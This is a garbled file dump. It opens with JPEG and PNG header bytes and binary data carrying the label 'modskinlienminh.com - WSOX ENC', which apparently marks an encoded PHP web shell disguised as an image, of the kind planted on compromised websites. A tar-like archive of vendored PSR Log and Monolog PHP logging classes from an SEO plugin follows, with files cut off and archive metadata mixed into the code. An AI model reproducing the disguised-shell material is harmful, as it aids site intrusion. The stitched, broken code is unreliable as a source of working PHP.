���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!psr/log/LICENSE000066600000002075151733766740007171 0ustar00Copyright (c) 2012 PHP Framework Interoperability Group Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. psr/log/Psr/Log/LoggerAwareInterface.php000066600000000522151733766740014175 0ustar00log(\YoastSEO_Vendor\Psr\Log\LogLevel::EMERGENCY, $message, $context); } /** * Action must be taken immediately. * * Example: Entire website down, database unavailable, etc. This should * trigger the SMS alerts and wake you up. * * @param string $message * @param array $context * * @return void */ public function alert($message, array $context = array()) { $this->log(\YoastSEO_Vendor\Psr\Log\LogLevel::ALERT, $message, $context); } /** * Critical conditions. * * Example: Application component unavailable, unexpected exception. * * @param string $message * @param array $context * * @return void */ public function critical($message, array $context = array()) { $this->log(\YoastSEO_Vendor\Psr\Log\LogLevel::CRITICAL, $message, $context); } /** * Runtime errors that do not require immediate action but should typically * be logged and monitored. * * @param string $message * @param array $context * * @return void */ public function error($message, array $context = array()) { $this->log(\YoastSEO_Vendor\Psr\Log\LogLevel::ERROR, $message, $context); } /** * Exceptional occurrences that are not errors. * * Example: Use of deprecated APIs, poor use of an API, undesirable things * that are not necessarily wrong. * * @param string $message * @param array $context * * @return void */ public function warning($message, array $context = array()) { $this->log(\YoastSEO_Vendor\Psr\Log\LogLevel::WARNING, $message, $context); } /** * Normal but significant events. * * @param string $message * @param array $context * * @return void */ public function notice($message, array $context = array()) { $this->log(\YoastSEO_Vendor\Psr\Log\LogLevel::NOTICE, $message, $context); } /** * Interesting events. * * Example: User logs in, SQL logs. * * @param string $message * @param array $context * * @return void */ public function info($message, array $context = array()) { $this->log(\YoastSEO_Vendor\Psr\Log\LogLevel::INFO, $message, $context); } /** * Detailed debug information. * * @param string $message * @param array $context * * @return void */ public function debug($message, array $context = array()) { $this->log(\YoastSEO_Vendor\Psr\Log\LogLevel::DEBUG, $message, $context); } /** * Logs with an arbitrary level. * * @param mixed $level * @param string $message * @param array $context * * @return void * * @throws \Psr\Log\InvalidArgumentException */ public abstract function log($level, $message, array $context = array()); } psr/log/Psr/Log/NullLogger.php000066600000001354151733766740012233 0ustar00logger) { }` * blocks. */ class NullLogger extends \YoastSEO_Vendor\Psr\Log\AbstractLogger { /** * Logs with an arbitrary level. * * @param mixed $level * @param string $message * @param array $context * * @return void * * @throws \Psr\Log\InvalidArgumentException */ public function log($level, $message, array $context = array()) { // noop } } psr/log/Psr/Log/LoggerInterface.php000066600000006062151733766740013222 0ustar00logger = $logger; } } psr/log/Psr/Log/LogLevel.php000066600000000511151733766740011664 0ustar00 $level, 'message' => $message, 'context' => $context]; $this->recordsByLevel[$record['level']][] = $record; $this->records[] = $record; } public function hasRecords($level) { return isset($this->recordsByLevel[$level]); } public function hasRecord($record, $level) { if (\is_string($record)) { $record = ['message' => $record]; } return $this->hasRecordThatPasses(function ($rec) use($record) { if ($rec['message'] !== $record['message']) { return \false; } if (isset($record['context']) && $rec['context'] !== $record['context']) { return \false; } return \true; }, $level); } public function hasRecordThatContains($message, $level) { return $this->hasRecordThatPasses(function ($rec) use($message) { return \strpos($rec['message'], $message) !== \false; }, $level); } public function hasRecordThatMatches($regex, $level) { return $this->hasRecordThatPasses(function ($rec) use($regex) { return \preg_match($regex, $rec['message']) > 0; }, $level); } public function hasRecordThatPasses(callable $predicate, $level) { if (!isset($this->recordsByLevel[$level])) { return \false; } foreach ($this->recordsByLevel[$level] as $i => $rec) { if (\call_user_func($predicate, $rec, $i)) { return \true; } } return \false; } public function __call($method, $args) { if (\preg_match('/(.*)(Debug|Info|Notice|Warning|Error|Critical|Alert|Emergency)(.*)/', $method, $matches) > 0) { $genericMethod = $matches[1] . ('Records' !== $matches[3] ? 'Record' : '') . $matches[3]; $level = \strtolower($matches[2]); if (\method_exists($this, $genericMethod)) { $args[] = $level; return \call_user_func_array([$this, $genericMethod], $args); } } throw new \BadMethodCallException('Call to undefined method ' . \get_class($this) . '::' . $method . '()'); } public function reset() { $this->records = []; $this->recordsByLevel = []; } } psr/log/Psr/Log/Test/LoggerInterfaceTest.php000066600000010533151733766740014777 0ustar00 ". * * Example ->error('Foo') would yield "error Foo". * * @return string[] */ public abstract function getLogs(); public function testImplements() { $this->assertInstanceOf('AIOSEO\\Vendor\\Psr\\Log\\LoggerInterface', $this->getLogger()); } /** * @dataProvider provideLevelsAndMessages */ public function testLogsAtAllLevels($level, $message) { $logger = $this->getLogger(); $logger->{$level}($message, array('user' => 'Bob')); $logger->log($level, $message, array('user' => 'Bob')); $expected = array($level . ' message of level ' . $level . ' with context: Bob', $level . ' message of level ' . $level . ' with context: Bob'); $this->assertEquals($expected, $this->getLogs()); } public function provideLevelsAndMessages() { return array(LogLevel::EMERGENCY => array(LogLevel::EMERGENCY, 'message of level emergency with context: {user}'), LogLevel::ALERT => array(LogLevel::ALERT, 'message of level alert with context: {user}'), LogLevel::CRITICAL => array(LogLevel::CRITICAL, 'message of level critical with context: {user}'), LogLevel::ERROR => array(LogLevel::ERROR, 'message of level error with context: {user}'), LogLevel::WARNING => array(LogLevel::WARNING, 'message of level warning with context: {user}'), LogLevel::NOTICE => array(LogLevel::NOTICE, 'message of level notice with context: {user}'), LogLevel::INFO => array(LogLevel::INFO, 'message of level info with context: {user}'), LogLevel::DEBUG => array(LogLevel::DEBUG, 'message of level debug with context: {user}')); } /** * @expectedException \Psr\Log\InvalidArgumentException */ public function testThrowsOnInvalidLevel() { $logger = $this->getLogger(); $logger->log('invalid level', 'Foo'); } public function testContextReplacement() { $logger = $this->getLogger(); $logger->info('{Message {nothing} {user} {foo.bar} a}', array('user' => 'Bob', 'foo.bar' => 'Bar')); $expected = array('info {Message {nothing} Bob Bar a}'); $this->assertEquals($expected, $this->getLogs()); } public function testObjectCastToString() { if (\method_exists($this, 'createPartialMock')) { $dummy = $this->createPartialMock('AIOSEO\\Vendor\\Psr\\Log\\Test\\DummyTest', array('__toString')); } else { $dummy = $this->getMock('AIOSEO\\Vendor\\Psr\\Log\\Test\\DummyTest', array('__toString')); } $dummy->expects($this->once())->method('__toString')->will($this->returnValue('DUMMY')); $this->getLogger()->warning($dummy); $expected = array('warning DUMMY'); $this->assertEquals($expected, $this->getLogs()); } public function testContextCanContainAnything() { $closed = \fopen('php://memory', 'r'); \fclose($closed); $context = array('bool' => \true, 'null' => null, 'string' => 'Foo', 'int' => 0, 'float' => 0.5, 'nested' => array('with object' => new DummyTest()), 'object' => new \DateTime(), 'resource' => \fopen('php://memory', 'r'), 'closed' => $closed); $this->getLogger()->warning('Crazy context data', $context); $expected = array('warning Crazy context data'); $this->assertEquals($expected, $this->getLogs()); } public function testContextExceptionKeyCanBeExceptionOrOtherValues() { $logger = $this->getLogger(); $logger->warning('Random message', array('exception' => 'oops')); $logger->critical('Uncaught Exception!', array('exception' => new \LogicException('Fail'))); $expected = array('warning Random message', 'critical Uncaught Exception!'); $this->assertEquals($expected, $this->getLogs()); } } psr/log/Psr/Log/AbstractLogger.php000066600000011074151733766740013064 0ustar00log(\YoastSEO_Vendor\Psr\Log\LogLevel::EMERGENCY, $message, $context); } /** * Action must be taken immediately. * * Example: Entire website down, database unavailable, etc. This should * trigger the SMS alerts and wake you up. * * @param string $message * @param mixed[] $context * * @return void */ public function alert($message, array $context = array()) { $this->log(\YoastSEO_Vendor\Psr\Log\LogLevel::ALERT, $message, $context); } /** * Critical conditions. * * Example: Application component unavailable, unexpected exception. * * @param string $message * @param mixed[] $context * * @return void */ public function critical($message, array $context = array()) { $this->log(\YoastSEO_Vendor\Psr\Log\LogLevel::CRITICAL, $message, $context); } /** * Runtime errors that do not require immediate action but should typically * be logged and monitored. * * @param string $message * @param mixed[] $context * * @return void */ public function error($message, array $context = array()) { $this->log(\YoastSEO_Vendor\Psr\Log\LogLevel::ERROR, $message, $context); } /** * Exceptional occurrences that are not errors. * * Example: Use of deprecated APIs, poor use of an API, undesirable things * that are not necessarily wrong. * * @param string $message * @param mixed[] $context * * @return void */ public function warning($message, array $context = array()) { $this->log(\YoastSEO_Vendor\Psr\Log\LogLevel::WARNING, $message, $context); } /** * Normal but significant events. * * @param string $message * @param mixed[] $context * * @return void */ public function notice($message, array $context = array()) { $this->log(\YoastSEO_Vendor\Psr\Log\LogLevel::NOTICE, $message, $context); } /** * Interesting events. * * Example: User logs in, SQL logs. * * @param string $message * @param mixed[] $context * * @return void */ public function info($message, array $context = array()) { $this->log(\YoastSEO_Vendor\Psr\Log\LogLevel::INFO, $message, $context); } /** * Detailed debug information. * * @param string $message * @param mixed[] $context * * @return void */ public function debug($message, array $context = array()) { $this->log(\YoastSEO_Vendor\Psr\Log\LogLevel::DEBUG, $message, $context); } } monolog/monolog/src/Monolog/SignalHandler.php000066600000010201151733766740015336 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog; use AIOSEO\Vendor\Psr\Log\LoggerInterface; use AIOSEO\Vendor\Psr\Log\LogLevel; use ReflectionExtension; /** * Monolog POSIX signal handler * * @author Robert Gust-Bardon */ class SignalHandler { private $logger; private $previousSignalHandler = array(); private $signalLevelMap = array(); private $signalRestartSyscalls = array(); public function __construct(LoggerInterface $logger) { $this->logger = $logger; } public function registerSignalHandler($signo, $level = LogLevel::CRITICAL, $callPrevious = \true, $restartSyscalls = \true, $async = \true) { if (!\extension_loaded('pcntl') || !\function_exists('pcntl_signal')) { return $this; } if ($callPrevious) { if (\function_exists('pcntl_signal_get_handler')) { $handler = \pcntl_signal_get_handler($signo); if ($handler === \false) { return $this; } $this->previousSignalHandler[$signo] = $handler; } else { $this->previousSignalHandler[$signo] = \true; } } else { unset($this->previousSignalHandler[$signo]); } $this->signalLevelMap[$signo] = $level; $this->signalRestartSyscalls[$signo] = $restartSyscalls; if (\function_exists('pcntl_async_signals') && $async !== null) { \pcntl_async_signals($async); } \pcntl_signal($signo, array($this, 'handleSignal'), $restartSyscalls); return $this; } public function handleSignal($signo, array $siginfo = null) { static $signals = array(); if (!$signals && \extension_loaded('pcntl')) { $pcntl = new ReflectionExtension('pcntl'); $constants = $pcntl->getConstants(); if (!$constants) { // HHVM 3.24.2 returns an empty array. $constants = \get_defined_constants(\true); $constants = $constants['Core']; } foreach ($constants as $name => $value) { if (\substr($name, 0, 3) === 'SIG' && $name[3] !== '_' && \is_int($value)) { $signals[$value] = $name; } } unset($constants); } $level = isset($this->signalLevelMap[$signo]) ? $this->signalLevelMap[$signo] : LogLevel::CRITICAL; $signal = isset($signals[$signo]) ? $signals[$signo] : $signo; $context = isset($siginfo) ? $siginfo : array(); $this->logger->log($level, \sprintf('Program received signal %s', $signal), $context); if (!isset($this->previousSignalHandler[$signo])) { return; } if ($this->previousSignalHandler[$signo] === \true || $this->previousSignalHandler[$signo] === \SIG_DFL) { if (\extension_loaded('pcntl') && \function_exists('pcntl_signal') && \function_exists('pcntl_sigprocmask') && \function_exists('pcntl_signal_dispatch') && \extension_loaded('posix') && \function_exists('posix_getpid') && \function_exists('posix_kill')) { $restartSyscalls = isset($this->signalRestartSyscalls[$signo]) ? $this->signalRestartSyscalls[$signo] : \true; \pcntl_signal($signo, \SIG_DFL, $restartSyscalls); \pcntl_sigprocmask(\SIG_UNBLOCK, array($signo), $oldset); \posix_kill(\posix_getpid(), $signo); \pcntl_signal_dispatch(); \pcntl_sigprocmask(\SIG_SETMASK, $oldset); \pcntl_signal($signo, array($this, 'handleSignal'), $restartSyscalls); } } elseif (\is_callable($this->previousSignalHandler[$signo])) { if (\PHP_VERSION_ID >= 70100) { $this->previousSignalHandler[$signo]($signo, $siginfo); } else { $this->previousSignalHandler[$signo]($signo); } } } } monolog/monolog/src/Monolog/Registry.php000066600000007702151733766740014447 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog; use InvalidArgumentException; /** * Monolog log registry * * Allows to get `Logger` instances in the global scope * via static method calls on this class. * * * $application = new Monolog\Logger('application'); * $api = new Monolog\Logger('api'); * * Monolog\Registry::addLogger($application); * Monolog\Registry::addLogger($api); * * function testLogger() * { * Monolog\Registry::api()->addError('Sent to $api Logger instance'); * Monolog\Registry::application()->addError('Sent to $application Logger instance'); * } * * * @author Tomas Tatarko */ class Registry { /** * List of all loggers in the registry (by named indexes) * * @var Logger[] */ private static $loggers = array(); /** * Adds new logging channel to the registry * * @param Logger $logger Instance of the logging channel * @param string|null $name Name of the logging channel ($logger->getName() by default) * @param bool $overwrite Overwrite instance in the registry if the given name already exists? * @throws \InvalidArgumentException If $overwrite set to false and named Logger instance already exists */ public static function addLogger(Logger $logger, $name = null, $overwrite = \false) { $name = $name ?: $logger->getName(); if (isset(self::$loggers[$name]) && !$overwrite) { throw new InvalidArgumentException('Logger with the given name already exists'); } self::$loggers[$name] = $logger; } /** * Checks if such logging channel exists by name or instance * * @param string|Logger $logger Name or logger instance */ public static function hasLogger($logger) { if ($logger instanceof Logger) { $index = \array_search($logger, self::$loggers, \true); return \false !== $index; } else { return isset(self::$loggers[$logger]); } } /** * Removes instance from registry by name or instance * * @param string|Logger $logger Name or logger instance */ public static function removeLogger($logger) { if ($logger instanceof Logger) { if (\false !== ($idx = \array_search($logger, self::$loggers, \true))) { unset(self::$loggers[$idx]); } } else { unset(self::$loggers[$logger]); } } /** * Clears the registry */ public static function clear() { self::$loggers = array(); } /** * Gets Logger instance from the registry * * @param string $name Name of the requested Logger instance * @throws \InvalidArgumentException If named Logger instance is not in the registry * @return Logger Requested instance of Logger */ public static function getInstance($name) { if (!isset(self::$loggers[$name])) { throw new InvalidArgumentException(\sprintf('Requested "%s" logger instance is not in the registry', $name)); } return self::$loggers[$name]; } /** * Gets Logger instance from the registry via static method call * * @param string $name Name of the requested Logger instance * @param array $arguments Arguments passed to static method call * @throws \InvalidArgumentException If named Logger instance is not in the registry * @return Logger Requested instance of Logger */ public static function __callStatic($name, $arguments) { return self::getInstance($name); } } monolog/monolog/src/Monolog/ErrorHandler.php000066600000020261151733766740015221 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog; use AIOSEO\Vendor\Psr\Log\LoggerInterface; use AIOSEO\Vendor\Psr\Log\LogLevel; use AIOSEO\Vendor\Monolog\Handler\AbstractHandler; /** * Monolog error handler * * A facility to enable logging of runtime errors, exceptions and fatal errors. * * Quick setup: ErrorHandler::register($logger); * * @author Jordi Boggiano */ class ErrorHandler { private $logger; private $previousExceptionHandler; private $uncaughtExceptionLevel; private $previousErrorHandler; private $errorLevelMap; private $handleOnlyReportedErrors; private $hasFatalErrorHandler; private $fatalLevel; private $reservedMemory; private $lastFatalTrace; private static $fatalErrors = array(\E_ERROR, \E_PARSE, \E_CORE_ERROR, \E_COMPILE_ERROR, \E_USER_ERROR); public function __construct(LoggerInterface $logger) { $this->logger = $logger; } /** * Registers a new ErrorHandler for a given Logger * * By default it will handle errors, exceptions and fatal errors * * @param LoggerInterface $logger * @param array|false $errorLevelMap an array of E_* constant to LogLevel::* constant mapping, or false to disable error handling * @param int|false $exceptionLevel a LogLevel::* constant, or false to disable exception handling * @param int|false $fatalLevel a LogLevel::* constant, or false to disable fatal error handling * @return ErrorHandler */ public static function register(LoggerInterface $logger, $errorLevelMap = array(), $exceptionLevel = null, $fatalLevel = null) { //Forces the autoloader to run for LogLevel. Fixes an autoload issue at compile-time on PHP5.3. See https://github.com/Seldaek/monolog/pull/929 \class_exists('AIOSEO\\Vendor\\Psr\\Log\\LogLevel', \true); /** @phpstan-ignore-next-line */ $handler = new static($logger); if ($errorLevelMap !== \false) { $handler->registerErrorHandler($errorLevelMap); } if ($exceptionLevel !== \false) { $handler->registerExceptionHandler($exceptionLevel); } if ($fatalLevel !== \false) { $handler->registerFatalHandler($fatalLevel); } return $handler; } public function registerExceptionHandler($level = null, $callPrevious = \true) { $prev = \set_exception_handler(array($this, 'handleException')); $this->uncaughtExceptionLevel = $level; if ($callPrevious && $prev) { $this->previousExceptionHandler = $prev; } } public function registerErrorHandler(array $levelMap = array(), $callPrevious = \true, $errorTypes = -1, $handleOnlyReportedErrors = \true) { $prev = \set_error_handler(array($this, 'handleError'), $errorTypes); $this->errorLevelMap = \array_replace($this->defaultErrorLevelMap(), $levelMap); if ($callPrevious) { $this->previousErrorHandler = $prev ?: \true; } $this->handleOnlyReportedErrors = $handleOnlyReportedErrors; } public function registerFatalHandler($level = null, $reservedMemorySize = 20) { \register_shutdown_function(array($this, 'handleFatalError')); $this->reservedMemory = \str_repeat(' ', 1024 * $reservedMemorySize); $this->fatalLevel = $level; $this->hasFatalErrorHandler = \true; } protected function defaultErrorLevelMap() { return array(\E_ERROR => LogLevel::CRITICAL, \E_WARNING => LogLevel::WARNING, \E_PARSE => LogLevel::ALERT, \E_NOTICE => LogLevel::NOTICE, \E_CORE_ERROR => LogLevel::CRITICAL, \E_CORE_WARNING => LogLevel::WARNING, \E_COMPILE_ERROR => LogLevel::ALERT, \E_COMPILE_WARNING => LogLevel::WARNING, \E_USER_ERROR => LogLevel::ERROR, \E_USER_WARNING => LogLevel::WARNING, \E_USER_NOTICE => LogLevel::NOTICE, \E_STRICT => LogLevel::NOTICE, \E_RECOVERABLE_ERROR => LogLevel::ERROR, \E_DEPRECATED => LogLevel::NOTICE, \E_USER_DEPRECATED => LogLevel::NOTICE); } /** * @private */ public function handleException($e) { $this->logger->log($this->uncaughtExceptionLevel === null ? LogLevel::ERROR : $this->uncaughtExceptionLevel, \sprintf('Uncaught Exception %s: "%s" at %s line %s', Utils::getClass($e), $e->getMessage(), $e->getFile(), $e->getLine()), array('exception' => $e)); if ($this->previousExceptionHandler) { \call_user_func($this->previousExceptionHandler, $e); } exit(255); } /** * @private */ public function handleError($code, $message, $file = '', $line = 0, $context = array()) { if ($this->handleOnlyReportedErrors && !(\error_reporting() & $code)) { return; } // fatal error codes are ignored if a fatal error handler is present as well to avoid duplicate log entries if (!$this->hasFatalErrorHandler || !\in_array($code, self::$fatalErrors, \true)) { $level = isset($this->errorLevelMap[$code]) ? $this->errorLevelMap[$code] : LogLevel::CRITICAL; $this->logger->log($level, self::codeToString($code) . ': ' . $message, array('code' => $code, 'message' => $message, 'file' => $file, 'line' => $line)); } else { // http://php.net/manual/en/function.debug-backtrace.php // As of 5.3.6, DEBUG_BACKTRACE_IGNORE_ARGS option was added. // Any version less than 5.3.6 must use the DEBUG_BACKTRACE_IGNORE_ARGS constant value '2'. $trace = \debug_backtrace(\PHP_VERSION_ID < 50306 ? 2 : \DEBUG_BACKTRACE_IGNORE_ARGS); \array_shift($trace); // Exclude handleError from trace $this->lastFatalTrace = $trace; } if ($this->previousErrorHandler === \true) { return \false; } elseif ($this->previousErrorHandler) { return \call_user_func($this->previousErrorHandler, $code, $message, $file, $line, $context); } } /** * @private */ public function handleFatalError() { $this->reservedMemory = null; $lastError = \error_get_last(); if ($lastError && \in_array($lastError['type'], self::$fatalErrors, \true)) { $this->logger->log($this->fatalLevel === null ? LogLevel::ALERT : $this->fatalLevel, 'Fatal Error (' . self::codeToString($lastError['type']) . '): ' . $lastError['message'], array('code' => $lastError['type'], 'message' => $lastError['message'], 'file' => $lastError['file'], 'line' => $lastError['line'], 'trace' => $this->lastFatalTrace)); if ($this->logger instanceof Logger) { foreach ($this->logger->getHandlers() as $handler) { if ($handler instanceof AbstractHandler) { $handler->close(); } } } } } private static function codeToString($code) { switch ($code) { case \E_ERROR: return 'E_ERROR'; case \E_WARNING: return 'E_WARNING'; case \E_PARSE: return 'E_PARSE'; case \E_NOTICE: return 'E_NOTICE'; case \E_CORE_ERROR: return 'E_CORE_ERROR'; case \E_CORE_WARNING: return 'E_CORE_WARNING'; case \E_COMPILE_ERROR: return 'E_COMPILE_ERROR'; case \E_COMPILE_WARNING: return 'E_COMPILE_WARNING'; case \E_USER_ERROR: return 'E_USER_ERROR'; case \E_USER_WARNING: return 'E_USER_WARNING'; case \E_USER_NOTICE: return 'E_USER_NOTICE'; case \E_STRICT: return 'E_STRICT'; case \E_RECOVERABLE_ERROR: return 'E_RECOVERABLE_ERROR'; case \E_DEPRECATED: return 'E_DEPRECATED'; case \E_USER_DEPRECATED: return 'E_USER_DEPRECATED'; } return 'Unknown PHP error'; } } monolog/monolog/src/Monolog/Handler/DynamoDbHandler.php000066600000004742151733766740017210 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Aws\Sdk; use AIOSEO\Vendor\Aws\DynamoDb\DynamoDbClient; use AIOSEO\Vendor\Aws\DynamoDb\Marshaler; use AIOSEO\Vendor\Monolog\Formatter\ScalarFormatter; use AIOSEO\Vendor\Monolog\Logger; /** * Amazon DynamoDB handler (http://aws.amazon.com/dynamodb/) * * @link https://github.com/aws/aws-sdk-php/ * @author Andrew Lawson */ class DynamoDbHandler extends AbstractProcessingHandler { const DATE_FORMAT = 'Y-m-d\\TH:i:s.uO'; /** * @var DynamoDbClient */ protected $client; /** * @var string */ protected $table; /** * @var int */ protected $version; /** * @var Marshaler */ protected $marshaler; /** * @param DynamoDbClient $client * @param string $table * @param int $level * @param bool $bubble */ public function __construct(DynamoDbClient $client, $table, $level = Logger::DEBUG, $bubble = \true) { if (\defined('Aws\\Sdk::VERSION') && \version_compare(Sdk::VERSION, '3.0', '>=')) { $this->version = 3; $this->marshaler = new Marshaler(); } else { $this->version = 2; } $this->client = $client; $this->table = $table; parent::__construct($level, $bubble); } /** * {@inheritdoc} */ protected function write(array $record) { $filtered = $this->filterEmptyFields($record['formatted']); if ($this->version === 3) { $formatted = $this->marshaler->marshalItem($filtered); } else { /** @phpstan-ignore-next-line */ $formatted = $this->client->formatAttributes($filtered); } $this->client->putItem(array('TableName' => $this->table, 'Item' => $formatted)); } /** * @param array $record * @return array */ protected function filterEmptyFields(array $record) { return \array_filter($record, function ($value) { return !empty($value) || \false === $value || 0 === $value; }); } /** * {@inheritdoc} */ protected function getDefaultFormatter() { return new ScalarFormatter(self::DATE_FORMAT); } } monolog/monolog/src/Monolog/Handler/ZendMonitorHandler.php000066600000005606151733766740017763 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Formatter\NormalizerFormatter; use AIOSEO\Vendor\Monolog\Logger; /** * Handler sending logs to Zend Monitor * * @author Christian Bergau * @author Jason Davis */ class ZendMonitorHandler extends AbstractProcessingHandler { /** * Monolog level / ZendMonitor Custom Event priority map * * @var array */ protected $levelMap = array(); /** * Construct * * @param int $level * @param bool $bubble * @throws MissingExtensionException */ public function __construct($level = Logger::DEBUG, $bubble = \true) { if (!\function_exists('AIOSEO\\Vendor\\zend_monitor_custom_event')) { throw new MissingExtensionException('You must have Zend Server installed with Zend Monitor enabled in order to use this handler'); } //zend monitor constants are not defined if zend monitor is not enabled. $this->levelMap = array(Logger::DEBUG => \AIOSEO\Vendor\ZEND_MONITOR_EVENT_SEVERITY_INFO, Logger::INFO => \AIOSEO\Vendor\ZEND_MONITOR_EVENT_SEVERITY_INFO, Logger::NOTICE => \AIOSEO\Vendor\ZEND_MONITOR_EVENT_SEVERITY_INFO, Logger::WARNING => \AIOSEO\Vendor\ZEND_MONITOR_EVENT_SEVERITY_WARNING, Logger::ERROR => \AIOSEO\Vendor\ZEND_MONITOR_EVENT_SEVERITY_ERROR, Logger::CRITICAL => \AIOSEO\Vendor\ZEND_MONITOR_EVENT_SEVERITY_ERROR, Logger::ALERT => \AIOSEO\Vendor\ZEND_MONITOR_EVENT_SEVERITY_ERROR, Logger::EMERGENCY => \AIOSEO\Vendor\ZEND_MONITOR_EVENT_SEVERITY_ERROR); parent::__construct($level, $bubble); } /** * {@inheritdoc} */ protected function write(array $record) { $this->writeZendMonitorCustomEvent(Logger::getLevelName($record['level']), $record['message'], $record['formatted'], $this->levelMap[$record['level']]); } /** * Write to Zend Monitor Events * @param string $type Text displayed in "Class Name (custom)" field * @param string $message Text displayed in "Error String" * @param mixed $formatted Displayed in Custom Variables tab * @param int $severity Set the event severity level (-1,0,1) */ protected function writeZendMonitorCustomEvent($type, $message, $formatted, $severity) { zend_monitor_custom_event($type, $message, $formatted, $severity); } /** * {@inheritdoc} */ public function getDefaultFormatter() { return new NormalizerFormatter(); } /** * Get the level map * * @return array */ public function getLevelMap() { return $this->levelMap; } } monolog/monolog/src/Monolog/Handler/IFTTTHandler.php000066600000004106151733766740016377 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Logger; use AIOSEO\Vendor\Monolog\Utils; /** * IFTTTHandler uses cURL to trigger IFTTT Maker actions * * Register a secret key and trigger/event name at https://ifttt.com/maker * * value1 will be the channel from monolog's Logger constructor, * value2 will be the level name (ERROR, WARNING, ..) * value3 will be the log record's message * * @author Nehal Patel */ class IFTTTHandler extends AbstractProcessingHandler { private $eventName; private $secretKey; /** * @param string $eventName The name of the IFTTT Maker event that should be triggered * @param string $secretKey A valid IFTTT secret key * @param int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct($eventName, $secretKey, $level = Logger::ERROR, $bubble = \true) { $this->eventName = $eventName; $this->secretKey = $secretKey; parent::__construct($level, $bubble); } /** * {@inheritdoc} */ public function write(array $record) { $postData = array("value1" => $record["channel"], "value2" => $record["level_name"], "value3" => $record["message"]); $postString = Utils::jsonEncode($postData); $ch = \curl_init(); \curl_setopt($ch, \CURLOPT_URL, "https://maker.ifttt.com/trigger/" . $this->eventName . "/with/key/" . $this->secretKey); \curl_setopt($ch, \CURLOPT_POST, \true); \curl_setopt($ch, \CURLOPT_RETURNTRANSFER, \true); \curl_setopt($ch, \CURLOPT_POSTFIELDS, $postString); \curl_setopt($ch, \CURLOPT_HTTPHEADER, array("Content-Type: application/json")); Curl\Util::execute($ch); } } monolog/monolog/src/Monolog/Handler/PsrHandler.php000066600000002700151733766740016247 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Logger; use 